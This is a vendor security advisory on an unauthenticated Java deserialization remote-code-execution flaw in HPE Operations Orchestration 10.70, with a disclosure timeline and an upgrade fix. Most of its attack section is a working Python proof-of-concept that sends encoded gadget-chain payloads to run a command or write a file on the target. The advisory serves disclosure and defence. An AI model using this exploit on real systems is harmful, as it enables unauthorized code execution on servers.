Facebook Google Plus Twitter LinkedIn YouTube RSS Menu Search Resource - BlogResource - WebinarResource - ReportResource - Eventicons_066 icons_067icons_068icons_069icons_070

[R1] HPE Operations Orchestration Central Remoting Java Deserialization Remote Code Execution

High

Synopsis

The central-remoting endpoints in HPE Operations Orchestration 10.70 all use the class OOHttpInvokerServiceExporter to handle requests. A properly crafted HTTP POST request to any of the following URLs will trigger deserialization of untrusted data in OOHttpInvokerServiceExporter:

  • http://[address]:8080/oo/central-remoting/remoteDebuggerService
  • http://[address]:8080/oo/central-remoting/engineExecutionFacade
  • http://[address]:8080/oo/central-remoting/pauseResumeServiceSecuredProxy
  • http://[address]:8080/oo/central-remoting/mergedConfigurationService
  • http://[address]:8080/oo/central-remoting/platformDataService
  • http://[address]:8080/oo/central-remoting/executionEventService
  • http://[address]:8080/oo/central-remoting/runtimeValueService
  • http://[address]:8080/oo/central-remoting/executionInterruptsService
  • http://[address]:8080/oo/central-remoting/workerNodeService
  • http://[address]:8080/oo/central-remoting/engineVersionService
  • http://[address]:8080/oo/central-remoting/runningExecutionConfigurationService
  • http://[address]:8080/oo/central-remoting/splitJoinService
  • http://[address]:8080/oo/central-remoting/identityGenerator
  • http://[address]:8080/oo/central-remoting/workerDbSupportService
  • http://[address]:8080/oo/central-remoting/orchestratorDispatcherService
  • http://[address]:8080/oo/central-remoting/stepLogService
  • http://[address]:8080/oo/central-remoting/eventsRouter
  • http://[address]:8080/oo/central-remoting/m2ArtifactService
  • http://[address]:8080/oo/central-remoting/dependencyService

However, unlike TRA-2017-25, it isn't sufficient to simply POST a serialized object to any of the given URLs. The request needs to satisfy a couple of conditions:

  1. The HTTP header must have a TRAFFIC_COMPRESSION_ENABLED field.
  2. The first byte of the HTTP payload must be 0, 1, or 2. These values correspond to the type of compression used on the Java object. The corresponding values are, in order, none, gzip, and lz4.
The following is a proof of concept with builtin payloads for CommonsBeanutils1 and FileUpload1.
###
# This script is a PoC for an unauth RCE vuln in HP OO 10.70. The attacks
# is trigger via the webserver on 8080. Specifically, the URL used here is
# /oo/central-remoting/remoteDebuggerService . This script assumes that
# OO is not configured with SSL. The attack would still work with SSL
# but its extra work to code.
#
# There are two PoC payloads for this attack:
#
# The first uses Apache Commons BeanUtils in order to execute a
# command. For this PoC the command executed is
# "cmd /c mkdir C:\Users\Public\lolwat".
# The second payload uses Apache FileUpload.  For this PoC
# a file is written to C:\Users\Public\ with the contents
# "file upload exploited!" (the file will be deleted by
# java within a few seconds though) - note that FileUpload is best
# used to delete files, but I don't want to make a destructive PoC.
###

import socket
import base64
import sys

if len(sys.argv) != 3:
    print 'Usage: python ./hp_oo_remoting_rce.py  '
    print 'Example: python ./hp_oo_remoting_rce.py 192.168.1.17 beanutils'
    sys.exit(0);

payload = '\x00';
if sys.argv[2] == 'beanutils':
	beanutils = 'rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbkNvbXBhcmF0b3LjoYjqcyKkSAIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgA/b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmNvbXBhcmF0b3JzLkNvbXBhcmFibGVDb21wYXJhdG9y+/SZJbhusTcCAAB4cHQAEG91dHB1dFByb3BlcnRpZXN3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+AARMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAACdXIAAltCrPMX+AYIVOACAAB4cAAABsTK/rq+AAAAMQA8CgADACIHADoHACUHACYBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFrSCT85Hd7z4BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAE1N0dWJUcmFuc2xldFBheWxvYWQBAAxJbm5lckNsYXNzZXMBADVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkOwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAnAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApTb3VyY2VGaWxlAQAMR2FkZ2V0cy5qYXZhDAAKAAsHACgBADN5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJFN0dWJUcmFuc2xldFBheWxvYWQBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQAUamF2YS9pby9TZXJpYWxpemFibGUBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzAQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAKgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMACwALQoAKwAuAQAQamF2YS9sYW5nL1N0cmluZwcAMAEAA2NtZAgAMgEAHy9jIG1rZGlyIEM6XFVzZXJzXFB1YmxpY1xsb2x3YXQIADQBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwANgA3CgArADgBABx5c29zZXJpYWwvUHduZXI4Nzc0ODQ4MzkyMDg5AQAeTHlzb3NlcmlhbC9Qd25lcjg3NzQ4NDgzOTIwODk7ACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAAEAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAALgAOAAAADAABAAAABQAPADsAAAABABMAFAACAAwAAAA/AAAAAwAAAAGxAAAAAgANAAAABgABAAAAMwAOAAAAIAADAAAAAQAPADsAAAAAAAEAFQAWAAEAAAABABcAGAACABkAAAAEAAEAGgABABMAGwACAAwAAABJAAAABAAAAAGxAAAAAgANAAAABgABAAAANwAOAAAAKgAEAAAAAQAPADsAAAAAAAEAFQAWAAEAAAABABwAHQACAAAAAQAeAB8AAwAZAAAABAABABoACAApAAsAAQAMAAAAJwAGAAIAAAAbpwADAUy4AC8FvQAxWQMSM1NZBBI1U7YAOVexAAAAAAACACAAAAACACEAEQAAAAoAAQACACMAEAAJdXEAfgAQAAAB1Mr+ur4AAAAxABsKAAMAFQcAFwcAGAcAGQEAEHNlcmlhbFZlcnNpb25VSUQBAAFKAQANQ29uc3RhbnRWYWx1ZQVx5mnuPG1HGAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQADRm9vAQAMSW5uZXJDbGFzc2VzAQAlTHlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkRm9vOwEAClNvdXJjZUZpbGUBAAxHYWRnZXRzLmphdmEMAAoACwcAGgEAI3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkRm9vAQAQamF2YS9sYW5nL09iamVjdAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQAfeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cwAhAAIAAwABAAQAAQAaAAUABgABAAcAAAACAAgAAQABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAADsADgAAAAwAAQAAAAUADwASAAAAAgATAAAAAgAUABEAAAAKAAEAAgAWABAACXB0AARQd25ycHcBAHhxAH4ADXg='
	payload += base64.b64decode(beanutils)
elif sys.argv[2] == 'fileupload':
	fileupload = 'rO0ABXNyAC9vcmcuYXBhY2hlLmNvbW1vbnMuZmlsZXVwbG9hZC5kaXNrLkRpc2tGaWxlSXRlbR8NciaDmohxAwAKWgALaXNGb3JtRmllbGRKAARzaXplSQANc2l6ZVRocmVzaG9sZFsADWNhY2hlZENvbnRlbnR0AAJbQkwAC2NvbnRlbnRUeXBldAASTGphdmEvbGFuZy9TdHJpbmc7TAAIZGZvc0ZpbGV0AA5MamF2YS9pby9GaWxlO0wACWZpZWxkTmFtZXEAfgACTAAIZmlsZU5hbWVxAH4AAkwAB2hlYWRlcnN0AC9Mb3JnL2FwYWNoZS9jb21tb25zL2ZpbGV1cGxvYWQvRmlsZUl0ZW1IZWFkZXJzO0wACnJlcG9zaXRvcnlxAH4AA3hwAP//////////AAAAAHVyAAJbQqzzF/gGCFTgAgAAeHAAAAAWZmlsZSB1cGxvYWQgZXhwbG9pdGVkIXQAGGFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbXB0AAR0ZXN0cQB+AAlwc3IADGphdmEuaW8uRmlsZQQtpEUODeT/AwABTAAEcGF0aHEAfgACeHB0ABBDOlxVc2Vyc1xQdWJsaWNcdwIAL3h4'
	payload += base64.b64decode(fileupload)
else:
	print 'The second argument must be beanutils or fileupload'
	system.exit(0)

port = 8080
print '[+] Connecting to ' + sys.argv[1] + ':' + str(port)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((sys.argv[1], port))

print '[+] Sending HTTP request with ' + sys.argv[2] + ' payload'
http_request = ('POST /oo/central-remoting/remoteDebuggerService HTTP/1.0\r\n' +
               'Host: ' + sys.argv[1] + ':' + str(port) + '\r\n' +
               'TRAFFIC_COMPRESSION_ENABLED: true\r\n' +
               'Content-Type: application/x-java-serialized-object; charset=utf-8\r\n' +
               'Content-Length: ' + str(len(payload)) + '\r\n' +
               '\r\n' +
               payload);
s.sendall(http_request)
s.close()
print '[+] Done.'
The CommonsBeanutils1 payload will trigger the following stack trace on the remote host (note that I've truncated it for readability):
INFO | jvm 1 | 2017/01/13 13:16:09 | Jan 13, 2017 1:16:09 PM org.apache.catalina.core.StandardWrapperValve invoke
INFO | jvm 1 | 2017/01/13 13:16:09 | SEVERE: Servlet.service() for servlet [central-remoting] in context with path [/oo] threw exception [Request processing failed; nested exception is java.lang.RuntimeException: InvocationTargetException: java.lang.reflect.InvocationTargetException] with root cause
INFO | jvm 1 | 2017/01/13 13:16:09 | java.lang.RuntimeException: InvocationTargetException: java.lang.reflect.InvocationTargetException
INFO | jvm 1 | 2017/01/13 13:16:09 | at org.apache.commons.beanutils.BeanComparator.compare(BeanComparator.java:171)
INFO | jvm 1 | 2017/01/13 13:16:09 | at java.util.PriorityQueue.siftDownUsingComparator(PriorityQueue.java:721)
INFO | jvm 1 | 2017/01/13 13:16:09 | at java.util.PriorityQueue.siftDown(PriorityQueue.java:687)
INFO | jvm 1 | 2017/01/13 13:16:09 | at java.util.PriorityQueue.heapify(PriorityQueue.java:736)
INFO | jvm 1 | 2017/01/13 13:16:09 | at java.util.PriorityQueue.readObject(PriorityQueue.java:795)
INFO | jvm 1 | 2017/01/13 13:16:09 | at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
INFO | jvm 1 | 2017/01/13 13:16:09 | at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
INFO | jvm 1 | 2017/01/13 13:16:10 | at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
INFO | jvm 1 | 2017/01/13 13:16:10 | at java.lang.reflect.Method.invoke(Method.java:498)
INFO | jvm 1 | 2017/01/13 13:16:10 | at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1058)
INFO | jvm 1 | 2017/01/13 13:16:10 | at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:1900)
INFO | jvm 1 | 2017/01/13 13:16:10 | at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1801)
INFO | jvm 1 | 2017/01/13 13:16:10 | at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1351)
INFO | jvm 1 | 2017/01/13 13:16:10 | at java.io.ObjectInputStream.readObject(ObjectInputStream.java:371)
INFO | jvm 1 | 2017/01/13 13:16:10 | at com.hp.oo.util.ObjectSerializer.streamToObjectClean(ObjectSerializer.java:32)
INFO | jvm 1 | 2017/01/13 13:16:10 | at com.hp.oo.util.ObjectSerializationUtil.streamToObject(ObjectSerializationUtil.java:69)
INFO | jvm 1 | 2017/01/13 13:16:10 | at com.hp.oo.remoting.exporter.OOHttpInvokerServiceExporter.handleRequest(OOHttpInvokerServiceExporter.java:23)

Solution

Upgrade to HPE Operations Orchestration 10.80

Disclosure Timeline

2017-01-13 - Issue discovered
2017-01-16 - Preliminary advisory drafted
2017-01-17 - Submitted to ZDI as bainesjr0014
2017-03-01 - ZDI acknowledges vulnerability and accepts
2017-08-30 - HPE publishes an advisory
2017-09-05 - ZDI publishes an advisory

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]

Risk Information

CVE ID: CVE-2017-8994
Tenable Advisory ID: TRA-2017-28
Credit:
Jacob Baines, Tenable Network Security
CVSSv2 Base / Temporal Score:
7.5 / 6.5
CVSSv2 Vector:
AV:N/AC:L/Au:N/C:P/I:P/A:P
Nessus Plugin ID: 102959
Affected Products:
HPE Operations Orchestration 10.70
Risk Factor:
High

Advisory Timeline

2017-11-07 - [R1] Initial Release